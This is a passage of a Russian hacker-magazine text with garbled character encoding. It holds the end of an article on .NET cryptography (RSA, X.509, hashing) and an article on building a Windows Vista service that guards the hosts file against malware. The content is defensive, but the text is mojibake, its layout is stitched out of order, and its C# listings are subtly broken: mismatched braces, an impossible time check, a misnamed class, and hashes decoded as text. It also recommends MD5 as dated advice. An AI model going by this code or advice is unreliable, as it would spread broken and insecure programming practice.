ìîæåò áûòü ïåðåäàíà ïî Ñåòè, à äëÿ ðàñøèôðîâêè
äàííûõ ïîòðåáóåòñÿ çàêðûòàÿ ÷àñòü, êîòîðàÿ áóäåò
íàõîäèòüñÿ â êîìïüþòåðå, ðàñøèôðîâûâàþùåì
èíôîðìàöèþ. Ñíîâà ñîçäàåì êîíñîëüíîå ïðèëî-
æåíèå è ðåãèñòðèðóåì êëàññ RSA. Â íåì áóäåò òðè
ôóíêöèè: RSA.NewEncrypt(), RSA.NormalEncrypt(),
RSA.Decrypt(). Äëÿ øèôðîâàíèÿ íóæíî äâå ôóíê-
öèè íà ñëó÷àé, åñëè êëþ÷è íóæíî ñãåíåðèðîâàòü
àâòîìàòè÷åñêè, è íà ñëó÷àé, åñëè èñïîëüçóþòñÿ ãî-
òîâûå êëþ÷è (íàïðèìåð åñëè íåîáõîäèìî çàøèô-
ðîâàòü ðàçíûå òåêñòû îäíèì êëþ÷îì). Ðàçíèöà
ìåæäó íèìè â òîì, ÷òî ïðè ñîçäàíèè íîâûõ êëþ÷åé
âñå ïðîèñõîäèò àâòîìàòè÷åñêè, à ïðè ðó÷íîé çàã-
ðóçêå íóæíî èñïîëüçîâàòü ìåòîä RSACryptoService-
Provider.FromXmlString() äëÿ çàãðóçêè îòêðûòîãî
êëþ÷à, ïîñêîëüêó äëÿ øèôðîâàíèÿ åãî äîñòàòî÷íî.
Äàëåå íåîáõîäèìî ïåðåâåñòè ñòðîêîâûå äàííûå
â ìàññèâ áàéòîâ è øèôðîâàòü. Ðàññìîòðèì êëàññ
RSA (ñì. ëèñòèíã 2).

Â ôóíêöèè NormalEncrypt() ñîçäàåòñÿ êðèï-
òîïðîâàéäåð, ïîòîì ðåãèñòðèðóåòñÿ è çàãðóæàåòñÿ
îòêðûòûé êëþ÷. Äàëåå ñîçäàåòñÿ ñòðîêà base64
c çàøèôðîâàííûìè äàííûìè è çàïèñûâàåòñÿ
â ôàéë. Â msdn'e ñêàçàíî, ÷òî ïðè ðó÷íîé çàãðóçêå
êëþ÷à íåæåëàòåëüíî ïðîñòî èñïîëüçîâàòü ìåòîä
FromXmlString(), ïðè ñîçäàíèè ïðîâàéäåðà íåîáõî-
äèìî ïåðåäàòü åìó ïàðàìåòð ñ íàñòðîéêàìè ïðî-
âàéäåðà, êîòîðûå çàïîëíÿþòñÿ â êëàññå CspPara-
meters. Äëÿ ðó÷íîé çàãðóçêè íåîáõîäèìî óêàçàòü
ñâîéñòâî Flags çíà÷åíèåì CspProviderFlags.Use-
MachineKeyStore. Õîòÿ ìîæíî ðàáîòàòü è áåç Csp-
ïàðàìåòðîâ. Ïîñëå ðàáîòû ñ àëãîðèòìîì RSA íàø
ïîäîïûòíûé êðîëèê â ëèöå ñòðîêè «Xakep — Super
Hypper Rulez!» áóäåò âûãëÿäåòü âîò òàê: 

i6EW8OgnopsiJfGSFtextX9TehCZDCCYFbbk68+4

YUwjDapVvZISpr3TnRldZCcfGz9FfPZggZU/Stpu

gGZk7G4s4HSWPuDQ/j1cMduuPhIBRhO/29hWp6yQ

HPBugvZq4g/rnlEy4kolKFtka7ScnChZ5akuokSu

J3nrQ5QJrSg=.

Òàêîé øèôðîòåêñò âûãëÿäèò íàìíîãî âíóøèòåëü-
íåå, ÷åì DES. Ïåðåéäåì ê ñåðòèôèêàòàì X.509.

ñåðòèôèêàòû XX.509. Ñåðòèôèêàòû íóæíû äëÿ
àóòåíòèôèêàöèè êëèåíòà èëè ñåðâåðà. Ñåðòèôèêà-
òû èñïîëüçóþòñÿ ëþáûìè áðàóçåðàìè, íàïðèìåð
Internet Explorer'îì. Äëÿ ðàáîòû ñ ñåðòèôèêàòàìè ñó-
ùåñòâóåò êëàññ X509Certificate, à äëÿ ðàáîòû ñ êëàñ-

ñîì èñïîëüçóåòñÿ ïðîñòðàíñòâî èìåí System.Se-
curity.Cryptography.X509Certificates. Äëÿ âûáîðêè
äàííûõ èç ñåðòèôèêàòà íóæíî ïðîñòî ñîçäàòü íî-
âûé îáúåêò è ñòðîêîâûå òèïû äàííûõ è çàòåì, ïðè
ïîìîùè ìåòîäîâ êëàññà X509Certuficate, çàïîëíÿòü
çíà÷åíèÿ. Íàïðèìåð, äëÿ òîãî ÷òîáû âûãðóçèòü ñåð-
òèôèêàò SecureNet CA Class A è ïîñìîòðåòü åãî íàç-
âàíèå è âåðñèþ, íóæíî âûïîëíèòü ñëåäóþùèé êîä:

X509Certificate x509s =

X509Certificate.CreateFromCertFile("Secure

NetCA_ClassA.cer");

string Version = x509s.GetIssuerName();

Îäíàêî ïîêà ÷òî èñïîëüçîâàíèå ñåðòèôèêàòîâ
X.509 ñ÷èòàåòñÿ î÷åíü íåóäîáíûì, ïîñêîëüêó íà
øèôðîâàíèå/äåøèôðîâàíèå óõîäèò ìíîãî âðåìå-
íè. Äëÿ àóòåíòèôèêàöèè îáû÷íî èñïîëüçóþò õýøè-
ðîâàíèå. Ñàìûì ðàñïðîñòðàíåííûì ñïîñîáîì õý-
øèðîâàíèÿ íà ñåãîäíÿøíèé äåíü ÿâëÿåòñÿ èñïîëü-
çîâàíèå àëãîðèòìà MD5.

õýøèðîâàíèå. Ñðåäè õýø-àëãîðèòìîâ â .NET
ðåàëèçîâàíû MD5, SHA1, SHA256, SHA384,
SHA512, HMAC-SHA-1 è MACTripleDES. Ïåðâûå
äâå ðàçíîâèäíîñòè àëãîðèòìîâ çíàêîìû ïðàêòè-
÷åñêè âñåì, à àëãîðèòì MACTripleDES — ìåíåå èç-
âåñòåí. Äëÿ ðàñ÷åòà õýø-çíà÷åíèÿ ëþáûì àëãîðèò-
ìîì íóæíî èñïîëüçîâàòü óæå èçëþáëåííîå íàìè
ïðîñòðàíñòâî èìåí System.Security.Crypto-graphy.
Äëÿ ðàñ÷åòà õýø-çíà÷åíèÿ èñïîëüçóåòñÿ ìåòîä
ComputeHash(byte[] ByteArray). Ðàññìîòðèì êîä
äëÿ õýøèðîâàíèÿ:

ðàñ÷åò êêîíòðîëüíûõ ññóìì
public class CreateHash

{

public static string[] Hash =

new string[7]; //ñîçäàåì ñòðîêîâîé ìàññèâ

public static void Make()

{

Console.WriteLine("Enter a value");

byte[] Value =

ASCIIEncoding.UTF8.GetBytes(Console.Read

Line()); //ïîëó÷àåì çíà÷åíèå

MD5CryptoServiceProvider MD5 =

new MD5CryptoServiceProvider();

SHA1Managed SHA1 = new SHA1Managed();

SHA256Managed SHA256 =

new SHA256Managed();

SHA384Managed SHA384 = new

SHA384Managed();

//ñîçäàåì êðèïòîïðîâàéäåðû

SHA512Managed SHA512 =

new SHA512Managed();

HMACSHA1 MACSHA = new HMACSHA1();

MACTripleDES MACTDes =

new MACTripleDES();

//ãåíåðèðóåì õýø-çíà÷åíèÿ

Hash[0] =

ASCIIEncoding.UTF8.GetString(MD5.Compute

Hash(Value));
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Hash[1] =

ASCIIEncoding.UTF8.GetString(SHA1.Compute

Hash(Value));

Hash[2] =

ASCIIEncoding.UTF8.GetString(SHA256.Compute

Hash(Value));

Hash[3] =

ASCIIEncoding.UTF8.GetString(SHA384.Compute

Hash(Value));

Hash[4] =

ASCIIEncoding.UTF8.GetString(SHA512.Compute

Hash(Value));

Hash[5] =

ASCIIEncoding.UTF8.GetString(MACSHA.Compute

Hash(Value));

Hash[6] =

ASCIIEncoding.UTF8.GetString(MACTDes.

ComputeHash(Value));

}

}

Â ýòîì êëàññå ñîçäàåòñÿ ñòðîêîâîé ìàññèâ, êîòî-
ðûé áóäåò çàïîëíÿòüñÿ õýø-çíà÷åíèÿìè. Ñîçäàåò-
ñÿ ìàññèâ áàéòîâ, çàïîëíÿåìûé ïðè ïîìîùè ìåòî-
äà Console.ReadLine(). Çàòåì ñîçäàåì êðèïòîïðî-
âàéäåðû â äèíàìè÷åñêîé ïàìÿòè, øèôðóåì è çà-
ïîëíÿåì ñòðîêîâîé ìàññèâ.

ïîòåíöèàëüíûå óóÿçâèìîñòè. Ñèñòåìà Crypto-
API äîâîëüíî îáøèðíà è èíòåðåñíà, íî ýòî íå èñê-
ëþ÷àåò, à î÷åíü äàæå ñïîñîáñòâóåò áîëüøîìó êî-
ëè÷åñòâó íåäî÷åòîâ â íåé. Çà âðåìÿ íàïèñàíèÿ
ñòàòüè àâòîð ñòîëêíóëñÿ ñ íåñêîëüêèìè ïåðåïîëíå-
íèÿìè áóôåðà ïðè ðàñøèôðîâêå àëãîðèòìîì RSA,
ïðîáëåìîé íåñîâìåñòèìîñòè êîäèðîâîê ïðè õýøè-
ðîâàíèè è ðàñøèôðîâêå àëãîðèòìà DES. Êîíå÷íî,
âåðèôèêàòîð îòëîâèë ïåðåïîëíåíèå áóôåðà, è ïîñ-
ëå ïîÿâëåíèÿ îêíà ñ íàäïèñüþ î òîì, ÷òî ïðîãðàì-
ìà âûïîëíèëà íåäîïóñòèìóþ îïåðàöèþ, â êîíñîëè
ïîÿâèëàñü íàäïèñü overflow ñ êîäîì îøèáêè. Íî è
íà òàêèõ ïðîñòûõ ïðèìåðàõ âèäíî, íàñêîëüêî åùå
íåäîðàáîòàíà ñèñòåìà êðèïòîãðàôèè â .NET. 

Ïî ïîñëåäíèì îáåùàíèÿì êîìïàíèè Ìàéêðî-
ñîôò, âñå íåòî÷íîñòè è îøèáêè áóäóò èñïðàâëåíû
â ïîëíîé ñòàáèëüíîé âåðñèè .NET 3.0. Áóäåì æäàòü.

the end. Ìû óçíàëè íåêîòîðûå äîñòîèíñòâà è
íåäîñòàòêè CryptoAPI â Windows Vista, íåìíîãî ðàñ-
ñìîòðåëè ïðîñòðàíñòâî èìåí System.Security.Crypto-
graphy, êðàòêî èçó÷èëè âñå âèäû êðèïòîãðàôè÷åñêèõ
àëãîðèòìîâ è èõ êðèïòîïðîâàéäåðîâ â .NET. Íà ìîé
âçãëÿä, ñàìîé áåçîïàñíîé ðåàëèçàöèåé êðèïòîãðà-
ôè÷åñêîãî àëãîðèòìà â .NET ÿâëÿåòñÿ RSA, — îí, êàê
è âñåãäà, íàäåæåí. Â äàííûé ìîìåíò åãî ìîæíî ñìå-
ëî èñïîëüçîâàòü â ñâîèõ ïðîåêòàõ (ñ äëèíîé êëþ÷à,
íà÷èíàÿ îò 2048 — Ïðèì. Dr.). 

Âîçìîæíî, íåêîòîðûå óæå ðåøèëè, ñòîèò ëè
èñïîëüçîâàòü êðèïòîãðàôèþ â .NET â ñâîèõ ïðîåê-
òàõ, íî ÿ áû íå ñîâåòîâàë äåëàòü ïîñïåøíûõ âûâî-
äîâ, ïîñêîëüêó .NET Framework 2.0 è .NET Frame-
work 3.0 Pre-relese î÷åíü ñèëüíî îòëè÷àþòñÿ äðóã
îò äðóãà. Âñå ñòàíåò ïîíÿòíî, êîãäà âûéäåò ñòà-
áèëüíàÿ âåðñèÿ .NET Framework 3.0
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Ðàáîòà ñ êðèïòîïðîâàéäåðàìè RSA

public class rsa

{

static RSACryptoServiceProvider RSAp; 

//ãëîáàëüíûé êðèïòîïðîâàéäåð

public static void Decrypt(string OpenTextFile, string PrivateKeyFile, 

string OutputFileName)

{

XmlTextReader PrivateKeyLoader = new XmlTextReader(PrivateKeyFile);

PrivateKeyLoader.WhitespaceHandling = WhitespaceHandling.None;

PrivateKeyLoader.Read();   

//çàãðóæàåì êëþ÷è

string PrivateKey = PrivateKeyLoader.ReadOuterXml();

StreamReader file = new StreamReader(OpenTextFile);

string encrypted = file.ReadToEnd();

//çàãðóæàåì øèôðîòåêñò

RSACryptoServiceProvider decr = new RSACryptoServiceProvider();

//ñîçäàåì ïðîâàéäåð

decr.FromXmlString(PrivateKey);

//âñòàâëÿåì êëþ÷

byte[] buffer = Convert.FromBase64String(encrypted.Trim());

//ðàñøèôðîâûâàåì

string decrypted = ASCIIEncoding.UTF8.GetString(decr.Decrypt(buffer, false));

Console.WriteLine("Done");

StreamWriter decrypt = new StreamWriter(OutputFileName);

decrypt.Write(decrypted);

//ïèøåì â ôàéë

decrypt.Flush();

//çàêðûâàåì

decrypt.Close();

}

public static void NormalEncrypt(string OpenTextFile, string OpenKeyFile, 

string OutputFileName)

{

try

{

XmlTextReader OpenKeyLoader = new XmlTextReader(OpenKeyFile);

OpenKeyLoader.WhitespaceHandling = WhitespaceHandling.None;

OpenKeyLoader.Read();

//çàãðóæàåì îòêðûòûé êëþ÷

string OpenKey = OpenKeyLoader.ReadOuterXml();

RSACryptoServiceProvider RSApNormal = new RSACryptoServiceProvider();

//ñîçäàåì ïðîâàéäåð

RSApNormal.FromXmlString(OpenKey);

StreamReader file = new StreamReader(OpenTextFile);

byte[] b_file = ASCIIEncoding.ASCII.GetBytes(file.ReadToEnd());

string crypt = Convert.ToBase64String(RSApNormal.Encrypt(b_file, false));

//øèôðóåì

StreamWriter Encrypt = new StreamWriter(OutputFileName);

Encrypt.Write(crypt);

//ïèøåì â ôàéë

Encrypt.Flush(); //ñîõðàíÿåì

Encrypt.Close(); //çàêðûâàåì

Console.WriteLine("Done");

}

//äàëåå îáðàáîòêà îøèáîê

}

//äàëåå èäåò àáñîëþòíî àíàëîãè÷íàÿ ôóíêöèÿ NewEncrypt()

}

(2)



Ïîñêîëüêó áîëüøèíñòâî ñîâðåìåííûõ âèðóñîâ äëÿ
ïîëó÷åíèÿ óïðàâëåíèÿ ñèñòåìîé àòàêóþò èìåííî
ñëóæáû è ñàìè ìàñêèðóþòñÿ â ñèñòåìå êàê ñëóæáû,
íóæíî áûòü â êóðñå ïðèíöèïîâ ðàáîòû è îñíîâ
áåçîïàñíîñòè Windows-ñëóæá, îá ýòîì è ïîéäåò
ðå÷ü â äàííîé ñòàòüå.

ïðèíöèïû ïïðîãðàììèðîâàíèÿ WWindows-ññëóæá.
Ñîçäàíèå öåëüíîé ñëóæáû ïîðîæäàåò îøèáêè ñ àâ-
òîçàãðóçêîé, à ðåàëèçàöèÿ  åå íàñòðîéêè ñòàíîâèòñÿ
ñëîæíåå. Â .NET ïðîöåññ ïðîãðàììèðîâàíèÿ ñëóæá
(åñëè ãîâîðèòü î íîðìàëüíîì ïðîãðàììèðîâàíèè,
à íå î âèðóñàõ) ðàçáèâàåòñÿ íà 3 ñîñòàâëÿþùèõ:

1 ÐÀÇÐÀÁÎÒÊÀ ÑËÓÆÁÛ.
2 ÐÀÇÐÀÁÎÒÊÀ ÏÐÈËÎÆÅÍÈß ÊÎÍÔÈÃÓ-
ÐÈÐÎÂÀÍÈß ÑËÓÆÁÛ È ÈÍÑÒÀËËÅÐÀ.
3 ÐÀÇÐÀÁÎÒÊÀ ÑÈÑÒÅÌÛ ÈÍÑÒÀËËßÖÈÈ
ÑËÓÆÁÛ.

Õîðîøàÿ ñèñòåìà íàñòðîéêè è êîíôèãóðèðîâàíèÿ
ñëóæáû — îäèí èç ñàìûõ âàæíûõ àñïåêòîâ áåçî-
ïàñíîñòè, ïîñêîëüêó 90% õàêåðñêèõ àòàê ïðîèñõî-
äÿò èìåííî ïî ïðè÷èíå õàëàòíîñòè ïîëüçîâàòåëåé
è íåêà÷åñòâåííîé íàñòðîéêè ñëóæá (áóäü òî íà ñåð-
âåðå èëè íà äîìàøíåì êîìïüþòåðå). Ïðîãðàììà
èíñòàëëÿöèè ñëóæáû äîâîëüíî òðèâèàëüíà:
îíà îòïðàâëÿåò êîìàíäû îñòàíîâèòü, ïîäíÿòü, ïðî-
äîëæèòü è ïðèîñòàíîâèòü ñëóæáó. Ñèñòåìà êîíôè-
ãóðàöèè ñëóæáû íàñòðàèâàåò âñå âîçìîæíûå ïàðà-
ìåòðû, êëþ÷è ðååñòðà, êîíôèãè äëÿ çàïóñêà è ðà-
áîòû ñëóæáû, ïðèìåð òàêèõ ïàðàìåòðîâ è êîíôè-
ãîâ — ôàéëû íàñòðîéêè ñåðâåðà Apache èëè MS
SQL Server'a. Â ïåðâîì ñëó÷àå â ñèñòåìå êîíôèãó-

ðèðîâàíèÿ ðåàëèçîâàí ñêðèïòîâûé ÿçûê, êîòîðûé
÷èòàåò ñîäåðæèìîå ìíîãî÷èñëåííûõ êîíôèãóðà-
öèîííûõ ôàéëîâ, à âî âòîðîì ñëó÷àå ðåàëèçîâàí
èíòåðôåéñ äëÿ ïîëíîé íàñòðîéêè MS SQL Server'a.
Íó è, íàêîíåö, ñàìà ñëóæáà — ÿ äóìàþ, òóò âñå ïî-
íÿòíî: ðåàëèçóåòñÿ íàáîð êëàññîâ äëÿ âûïîëíåíèÿ
òåõ èëè èíûõ çàäà÷.

ðàáîòàåì ññî ññëóæáàìè WWindows VVista.
Äëÿ ïðèìåðà íàïèøåì òåñòîâóþ ñëóæáó-àíòèâè-
ðóñ, êîòîðàÿ áóäåò âèñåòü â ïàìÿòè è îõðàíÿòü ñèñ-
òåìíûå ôàéëû â ïàïêå system32/drivers/etc/ îò õà-
êåðñêèõ âòîðæåíèé, îòñëåæèâàÿ ðàáîòó ñ ôàéëàìè
â ýòîé äèðåêòîðèè. Ïîñëå ýòîãî ìû ðåàëèçóåì
ïðîãðàììó-êîíôèãóðàòîð, êîòîðàÿ áóäåò íàñòðàè-

ÎÁÇÎÐ ÁÅÇÎÏÀÑÍÎÑÒÈ ÑËÓÆÁ WINDOWS VISTA
ÍÀ ÏÐÈÌÅÐÅ ÀÍÒÈØÏÈÎÍÑÊÎÃÎ ÏÎ
ÊÀÊ È Â ÏÐÅÄÛÄÓÙÈÕ ÂÅÐÑÈßÕ WINDOWS, Â WINDOWS VISTA ÐÅÀËÈÇÎÂÀÍÀ ÑÈÑÒÅÌÀ
ÑËÓÆÁ. ÃËÀÂÍÛÌ ÎÒËÈ×ÈÅÌ ÑËÓÆÁ ÎÒ ÄÐÓÃÈÕ ÏÐÈËÎÆÅÍÈÉ ßÂËßÅÒÑß ÒÎ,
×ÒÎ ÎÍÈ ÀÂÒÎÌÀÒÈ×ÅÑÊÈ ÇÀÏÓÑÊÀÞÒÑß ÁÅÇ ÏÎÌÎÙÈ ÏÎËÜÇÎÂÀÒÅËß. Â WINDOWS
VISTA ÐÀÁÎÒÀ ÑÎ ÑËÓÆÁÀÌÈ ÍÅÑÊÎËÜÊÎ ÈÇÌÅÍÈËÀÑÜ, ÏÎÑÊÎËÜÊÓ ÂÑÅÌ ÊÎÄÎÌ
ÒÅÏÅÐÜ ÓÏÐÀÂËßÅÒ .NET FRAMEWORK

Àíäðåé Äðîçäîâ àêà Sulverus 
Offbit Security Team(Sulverus@Mail.Ru)

íà ññòðàæå
ïîðÿäêà
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âàòü âðåìÿ ïðîâåðêè ñèñòåìíûõ ôàéëîâ, è èíñòàë-
ëÿòîð, ðàáîòàþùèé ñî ñëóæáîé. Ñàìà ñëóæáà ñîñ-
òîèò èç òðåõ áëîêîâ êîäà:

1 ÎÁÐÀÁÎÒ×ÈÊ ÄÀÍÍÛÕ.
2 ÃËÀÂÍÀß ÔÓÍÊÖÈß ÑËÓÆÁÛ.
3 ÎÁÛ×ÍÀß ÃËÀÂÍÀß ÔÓÍÊÖÈß.

Âîçìîæíî, â ãîëîâå âîçíèê âîïðîñ: ÷åì îòëè÷àåòñÿ
ãëàâíàÿ ôóíêöèÿ ñëóæáû îò îáû÷íîé ãëàâíîé
ôóíêöèè? Ó ñëóæá, êàê è ó îáû÷íûõ ïðèëîæåíèé,
òî÷êà âõîäà — ôóíêöèÿ main() (WinMain è ò.ä.). Èñ-
ïîëíÿåìàÿ ïðîãðàììà ìîæåò ñîäåðæàòü áîëåå îä-
íîé ñëóæáû (è èõ òî÷åê âõîäà — «ñëóæåáíûõ ôóíê-

öèé»). Êàæäàÿ èç íèõ äîëæíà áûòü çàðåãèñòðèðî-
âàíà. Â ôóíêöèè main() îïðåäåëÿåòñÿ çàïóñêàåìàÿ
ñëóæáà, åå òî÷êà âõîäà — ãëàâíàÿ ñëóæåáíàÿ
ôóíêöèÿ. Äëÿ ñîçäàíèÿ Windows-ñëóæáû íóæíî ðà-
áîòàòü ñ ïðîåêòîì òèïà Windows Service. Â êîäå
åñòü ñòðîêà:

ServicesToRun = new ServiceBase[]

{ new Service1() };

Ýòî è åñòü ãëàâíàÿ ñëóæåáíàÿ ôóíêöèÿ. Òåïåðü ñîç-
äàäèì êëàññ, êîòîðûé áóäåò âûïîëíÿòü ôóíêöèþ
àíòèâèðóñíîãî ñêàííåðà. Äëÿ òîãî ÷òîáû ïîêàçàòü
áîëüøå âîçìîæíîñòåé .NET, ìû áóäåì ðàçìåùàòü
íàø êëàññ â îòäåëüíîé ñáîðêå, êîòîðóþ áóäåì äî-
êîìïèëèðîâàòü íà õîäó (Just-in-Time) è ðàáîòàòü
ñ íåé. Äëÿ îïåðàöèé ñ ôàéëàìè è ñëóæáîé íàøåé
ñáîðêå ïîíàäîáÿòñÿ ïðîñòðàíñòâà èìåí System.IO.
Äëÿ ðàáîòû ñ ôàéëàìè â .NET Framework'e èñïîëü-
çóåòñÿ êëàññ File. Íà ìîé âçãëÿä, òàêîé îáúåêòíî-
îðèåíòèðîâàííûé ïîäõîä äîâîëüíî óäîáåí, ïîñ-
êîëüêó îí çàìåòíî îáëåã÷àåò íàïèñàíèå ïðèëîæå-
íèé è ãîðàçäî óäîáíåå, ÷åì Windows API. Ïîñëå
ñîçäàíèÿ ïðîåêòà íàäî äîáàâèòü â íåãî ññûëêó íà
äèíàìè÷åñêè çàãðóæàåìóþ ñáîðêó, â êîòîðîé áóäåò
ëåæàòü êëàññ ñ ôóíêöèÿìè àíòèâèðóñíîãî ñêàííåðà
(íàçîâåì åå «AVExample»), çàòåì äîáàâèòü â êîä
ñòðîêó use AVExample äëÿ òîãî, ÷òîáû ïîëó÷èòü
äîñòóï ê êëàññó. Åñëè ïðîñòî èñïîëüçîâàòü ôóíê-
öèè èç ñáîðêè, òî ñëóæáà áóäåò àâòîìàòè÷åñêè çà-
âåðøàòüñÿ, çíà÷èò, íóæíî âûçûâàòü ôóíêöèè, èñ-
ïîëüçóÿ ïîòîêè. ×òîáû ñîçäàòü ïîòîê è çàïóñòèòü
ñêàííåð, íóæíî ñîçäàòü íîâûé îáúåêò êëàññà

Thread è ïðèñâîèòü åãî ïàðàìåòðó Target Void ìå-
òîä èç íàøåé ñáîðêè (î ñàìîé ñáîðêå ðå÷ü ïîéäåò
äàëüøå). Âåñü ýòîò êîä äîëæåí «âèñåòü» íà ñîáû-
òèè OnStart() äëÿ ñåðâèñà. Ðàññìîòðèì êîä:

cîçäàíèå ïïîòîêà ññ âûçîâîì ññáîðêè
using AVExample;

//...

protected override void OnStart(string[]

args)

{

Thread ScanT = new Thread(new

ThreadStart(AVExample.FileCheck.scan));

//ñîçäàåì è çàïóñêàåì ïîòîê

ScanT.IsBackground = true;

ScanT.Name = "ConfScanner"; 

ScanT.Start();

}
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Ïèøåì èíñòàëëåð

Ñîçäàííûé íàìè ñåðâèñ îòîáðàçèëñÿ ñðåäè ïðî÷èõ
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Ïî ìíîãî÷èñëåííûì ðåêîìåíäàöèÿì êîìïàíèè
Ìàéêðîñîôò êîä ìåòîäîâ íå äîëæåí õðàíèòüñÿ
â ñàìîé ñëóæáå. Îí äîëæåí íàõîäèòüñÿ â ñáîðêàõ,
ïîýòîìó â íàøåì ñëó÷àå ñàìà ñëóæáà — ýòî, íà
äàííûé ìîìåíò ðàçðàáîòêè, ïàðà ñòðîê êîäà (ñêî-
ðî ñòðîê ñòàíåò ãîðàçäî áîëüøå). Ïðèñòóïèì ê ñîç-
äàíèþ àíòèâèðóñà.

àíòèøïèîí ññâîèìè ððóêàìè. Â ïîñëåäíåå âðå-
ìÿ ìíîãèå âèðóñû ïðîïèñûâàþò â hosts.conf ñâîè
äàííûå äëÿ òîãî ÷òîáû çàïóòàòü ïîëüçîâàòåëåé.
Íàïðèìåð, âåñíîé 2006 ãîäà ïî ñåòè õîäèë âèðóñ,
êîòîðûé ïðîïèñûâàë â host.conf ññûëêè íà ïîèñêî-
âèêè è ïåðåâîäèë ýòè çàïðîñû íà ñàéò õàêåðà, âû-
ìîãàÿ òàêèì îáðàçîì êðîâíî çàðàáîòàííûå äåíüãè
ó ïîëüçîâàòåëåé (îäíó ìîþ ïîäðóãó òàê ðàçâåëè íà
100 WMZ: îíà çàïëàòèëà çà ðàçáëîêèðîâêó ÿíäåê-
ñà, ìåéë.ðó, ãóãëà è ðàìáëåðà, ïî 25 çà êàæäûé ïî-
èñêîâèê!). ß æå, êàê è âñå ÷èòàþùèå íàø æóðíàë,
æåëàþ ïîëüçîâàòåëÿì èñêëþ÷èòåëüíî äîáðà è õî-
÷ó èõ îáåçîïàñèòü èõ îò Ñåòåâûõ çëîóìûøëåííè-
êîâ. Äëÿ çàùèòû îò òàêîãî ðîäà íàïàäåíèÿ êàê ðàç
õîðîøî èñïîëüçîâàòü ñëóæáó. 

Ñîçäàåì ñáîðêó, â íåé ïèøåì êëàññ AVExample.
Àëãîðèòì ðàáîòû ñêàíåðà ïðîñò: ïðè óñòàíîâêå
ïðîãðàììû ïîëó÷èòü äàòó ïîñëåäíåé çàïèñè â ýòîò
ôàéë, ñîõðàíèòü åå, ïðîâåðÿòü ôàéë host.conf íà
ïðåäìåò èçìåíåíèé, â ñëó÷àå èçìåíåíèé çàìåíèòü
ôàéë íà ðàáî÷èé host.conf. Åäèíñòâåííîé ñëîæ-
íîñòüþ òàêîãî ðåøåíèÿ ÿâëÿåòñÿ òî, ÷òî ïðîãðàì-
ìà ìîæåò ñòîëêíóòüñÿ ñ âèðóñîì è íå ñìîæåò çà-
ìåíèòü ôàéë (ïî ïðè÷èíå òîãî, ÷òî â ýòîò ìîìåíò
ôàéë áóäåò èñïîëüçîâàòüñÿ äðóãèì ïðîöåññîì),
ïîýòîìó ïîñëå îáíàðóæåíèÿ ïðîãðàììà äîëæíà
ïðîæäàòü 60 ñåêóíä è çàòåì ïåðåïèñàòü ôàéë. Âîò
òàê áóäåò âûãëÿäåòü ðåàëèçàöèÿ ýòîãî àëãîðèòìà
(ñì. ëèñòèíã 1).

Ïîÿñíþ äàííûé êîä. Ñîçäàåòñÿ áåñêîíå÷íûé
öèêë è ïðîâåðÿåòñÿ äàòà ïîñëåäíåé çàïèñè
â ôàéë. Äàòà ñðàâíèâàåòñÿ ñ íàñòîÿùåé äàòîé çà-
ïèñè. Åñëè îíè íå ñîâïàäàþò, òî ïðîãðàììà ïîëó-
÷àåò òåêóùåå âðåìÿ, è æäåò, ïîêà ïðîéäåò ìèíóòà.
Äàëåå ïîäêîððåêòèðîâàííûé âèðóñîì ôàéë óäà-
ëÿåòñÿ è íà åãî ìåñòî êîïèðóåòñÿ ðàáî÷èé ôàéë.
Òàêæå ïðîãðàììà ñîçäàåò ëîã î òîì, ÷òî îíà óñ-
ïåøíî îòðàçèëà àòàêó. Äëÿ ðàáîòû ñî âðåìåíåì
èñïîëüçóåòñÿ êëàññ DateTime. Òåïåðü íàøà ñëóæ-
áà ãîòîâà, íî ðàáîòàòü îíà åùå íå ìîæåò, ïîòîìó
÷òî åå íàäî çàðåãèñòðèðîâàòü â ñèñòåìå, à äëÿ
ýòîãî íàäî ïèñàòü èíñòàëëåð.

áåçëîïàñòíîé èèíñòàëëåð. Åñëè ïðîñòî ïðîïè-
ñàòü â àâòîçàãðóçêó íàøó ñëóæáó, òî îíà êîððåêò-
íî ðàáîòàòü íå áóäåò. Äëÿ ñëóæá åñòü ñâîè êëþ÷è
â ðååñòðå, îäíàêî ñ íèìè âîçíèêàåò ìíîãî ïðîá-
ëåì, ïîñêîëüêó, åñëè çàïóñêàòü ñëóæáó ñ ïðàâàìè
îïðåäåëåííîãî ïîëüçîâàòåëÿ, ìîæåò îêàçàòüñÿ,
÷òî âèðóñ áóäåò èìåòü áîëüøå ïðàâ, ÷åì àíòèâè-
ðóñ, èëè âèðóñ ïðîñòî çàïðåòèò äîñòóï. Ïîýòîìó
ñåðâèñ äîëæåí çàïóñêàòüñÿ ñ ïðàâàìè ñèñòåìû
Local System, ýòî íåîáõîäèìî äëÿ òîãî, ÷òîáû
èìåòü ïðàâà íà çàïèñü â êîíôèãóðàöèîííûå ôàé-
ëû. Äëÿ ñîçäàíèÿ ãðàìîòíîãî èíñòàëëåðà íàì íà-

Àëãîðèòì îõðàíû êîíôèãóðàöèîííîãî ôàéëà

public class FileSheck

{

public static void scan()

{

while (true) //ñîçäàåì áåñêîíå÷íûé öèêë

{

string ProtectedDate = File.ReadAllText("C:\\test\\NormalDate.txt");

string scan =

File.GetLastWriteTime("C:\\WINDOWS\\system32\\drivers\\etc\\hosts").ToString();

a:

if (scan != ProtectedDate) //ïðîâåðÿåì

{

string time = DateTime.Now.Minute.ToString();

if (time != DateTime.Now.Minute.ToString())

{

File.Delete("C:\\WINDOWS\\system32\\drivers\\etc\\hosts");

File.Copy("C:\\test\\host.conf.protected",

"C:\\WINDOWS\\system32\\drivers\\etc\\hosts"); //âîññòàíàâëèâàåì ðàáî÷èé ôàéë

File.WriteAllText("C:\\test\\Alert.txt", "Hackers allert was refused successful-

ly" + DateTime.Now.Hour + ":" + DateTime.Now.Minute);

else

{

goto a;

}

}

}

}

}

Ðó÷íàÿ íàñòðîéêà àíòèâèðóñíîé ñëóæáû

#region Component Designer generated code //ïîäïðàâëåííûé íàìè

private System.ServiceProcess.ServiceProcessInstaller ProcessInstaller;

private System.ServiceProcess.ServiceInstaller ServiceInstaller; //ñîçäàåì

èíñòàëëåðû

private void InitializeComponent()

{

this.ProcessInstaller = new System.ServiceProcess.ServiceProcessInstaller();

this.ServiceInstaller = new System.ServiceProcess.ServiceInstaller();

this.ProcessInstaller.Account = System.ServiceProcess.ServiceAccount.LocalSystem;

this.ProcessInstaller.Password = null; //íàñòðàèâàåì ïàðàìåòðû

this.ProcessInstaller.Username = "System";

this.ServiceInstaller.ServiceName = "HaService";

this.Installers.AddRange(new System.Configuration.Install.Installer[]

